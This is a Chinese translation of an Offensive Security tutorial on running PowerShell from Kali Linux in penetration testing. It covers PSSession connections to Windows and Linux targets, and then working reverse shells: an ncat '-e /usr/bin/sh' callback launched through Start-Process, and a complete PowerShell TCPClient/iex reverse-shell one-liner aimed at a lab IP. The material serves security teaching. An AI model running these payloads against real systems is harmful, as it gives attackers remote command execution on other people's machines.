如何优雅的在Linux上使用Powershell]

admin 2021年4月30日09:36:46评论64 views字数 4452阅读14分50秒阅读模式

译文声明
本文是翻译文章,文章原作者 TJ Null,文章来源:https://www.offensive-security.com
原文地址:https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/

译文仅供参考,具体内容表达以及含义原文为准

前言

在最近的几年中,PowerShell显然已经成为了一种功能强大的脚本语言,它是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。不仅如此,微软还推出了Powershell Core,可以跨平台使用,支持 LinuxMac

Linux上使用PowerShell可以带来诸多好处,例如:
•可以在PowerShell中编写和调试脚本
•连接到Windows目标靶机
•传输文件

但是目前,PowerShell在Linux平台上功能还不够完善,例如:
•所支持的cmdlet不完善
•不能够在PowerShell中直接使用sudoexec
•不支持WMI或CIM

在本文中,我们将展示如何在Kali上建立PSSession到我们的靶机(Windows和Linux)。在Powshell中,PSSession cmdlet允许我们创建到本地或远程计算机的持久连接。通过PSSession我们可以实现在加密传输内容的同时与目标主机进行交互。

注意:本文中使用的命令已在Windows 10 x64 Pro,2004版和Ubuntu 20.04 LTS上进行了测试。

在WINDOWS上获取PSSESSION

要想与PSSession进行交互,首先在Windows我们需要启用PSremoting并具有访问系统的凭据。当您启用PSRemoting时,它使用默认的HTTP 5985端口进行连接。WS-Management协议会帮助我们加密通过网络传输的所有 Windows PowerShell 内容。 在本次测试中,使用默认选项即可。

在Kali上首次使用Powshell时,需要安装一个单独的软件包,并且需要更改一些配置才能获取PSSession。我们需要安装gss ntlmssp,并在PowerShell目录中创建两个符号链接,以确保PowerShell中的WSman模块正常工作。

默认情况下,我们的PowerShell位于以下路径:
/ opt / Microsoft / powershell / 7

切换到到上面的目录。在该目录中,添加符号链接:
ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0
ln -s /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2 libcrypto .so.1.0.0

准备工作已经完成,让我们打开kali系统上Powshell终端,键入以下命令来创建一个新的PSSession。
$offsecsession = New-PSSession -ComputerName <Target IP Address> -Authentication Negotiate -Credential <username>

使用正确的凭据,我们就可以实现在PSSession中与Windows目标进行交互。运行结果如下图所示:
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

创建PSSession后,我们可以使用 Invoke-Command 的 Session 参数在 PSSession 中运行命令或脚本。我们还可以通过Invoke-Command命令实现与多台主机进行交互。以下是一个演示示例,在多台主机上执行hostname命令:

Invoke-Command -Session $offsecsession -ScriptBlock {hostname}
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

通过这种方法,我们就可以在PSSession后台执行命令。ScriptBlock还允许我们同时执行多条命令,只需要使用‘;’将每条命令隔开即可。下面是演示示例:

Invoke-Command -Session $offsecsession -ScriptBlock {hostname; whoami; whoami /priv}
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

命令回显:
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

如上图所示,我们可以获取系统的主机名,当前域和用户的名称,以及当前用户的安全权限。

接下来,让我们看一下如何在Linux上获得PSSession。

在LINUX系统上获取PSSESSION

PSSession不仅局限于Windows,在Linux上运行Powershell同样允许我们在Linux靶机中启动PSSession。我们需要先运行ssh服务,同时修改sshd_config文件:
•PasswordAuthentication yes
•Optional: PubkeyAuthentication yes
在Ubuntu上键入以下命令:
Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

接着我们保存对sshd_config的修改,并且重启ssh服务。这样我们便可以在Linux靶机上获得PSSession:
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

我们还可以通过“ Invoke-Command” cmdlet在PSSession中运行Bash命令或PowerShell命令。
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

Tips:在Linux并非支持所有的cmdlet命令。但是随着PowerShell的不断更新与完善,支持cmdlet的指令集也会不断更新。

目前我们已经实现在Linux靶机上获取PSSession,下面让我们看一下如何使用Powshell在Linux获取反向shell。

在LINUX上获取反向SHELL

在渗透测试中,PowerShell还可以进行反弹shell的操作。我们可以在靶机上执行二进制文件,传输文件,读写文件。我将在这一小节中,演示如何通过ncat命令获取反弹shell。

我们使用一个名为Start-Process的cmdlet可以帮助我们达到目的。下面是一个演示示例:

Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.168.117.129 443 -e /usr/bin/sh'
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

我们使用了Start-Process命令运行了ncat,并向kali回调了一个shell。我们只需要在kali上保持监听即可。

如下图所示,我们成功的在kali上获取了一个反向shell:
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

我们还可以使用pwsh后边跟上-Command参数,直接在bash中执行Powshell命令:
pwsh -Command "Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

运行结果如下图所示,我们同样获取了一个反弹shell:
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

简化操作

我们甚至还可以借助Powshell本身的功能来进行反弹shell。

脚本如下:
```
$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);

$stream = $callback.GetStream();

[byte[]]$bytes = 0..65535|% {

0

};

while (($i = $stream.Read($bytes, 0, $bytes.Length)) - ne 0) {;

$data = (New - Object - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);

$sendback = (iex $data 2 > &1 | Out - String );

$sendback2 = $sendback + "PS " + (pwd).Path + "> ";

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);

$stream.Write($sendbyte, 0, $sendbyte.Length);

$stream.Flush()

};

$callback.Close()
我们可以把脚本集中放置在一行,并将其保存为文本文件(例如posh.ps1):$callback = New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()```

当靶机执行此脚本时,同样可以达到反弹shell的目的:
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

我们可以在shell中运行bash或powershell命令:
::: hljs-center

如何优雅的在Linux上使用Powershell]

:::

结论

如今,powshell已经成为了渗透测试中一大利器。本文只是演示了几个简单的示例,Powshell功能远不仅此。从pentester的角度来看,我们使用了PowerShell拓展了我们后渗透测试的手段。防御者也通过Powershell来检测攻击者的行为。后续,我们将继续研究PowerShell在linux更多利用手法。

参考文献:

Kali Bug Report
PowerShell (GitHub)
Invoke-Command (Microsoft)

相关推荐: HFish初版审计学习

在之前学习golang的靶场之后,下来开始尝试一些真实环境的代码审计工作,于是我找到了HFsih并下载了最初的版本。 到这里可能有师傅问了:为什么不直接梭哈最新版本?当然是因为最初版本比较简单并且适合新人(~~并不是担心高版本找不到问题会很尴尬~~),哈哈 话…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月30日09:36:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何优雅的在Linux上使用Powershell]https://cn-sec.com/archives/246661.html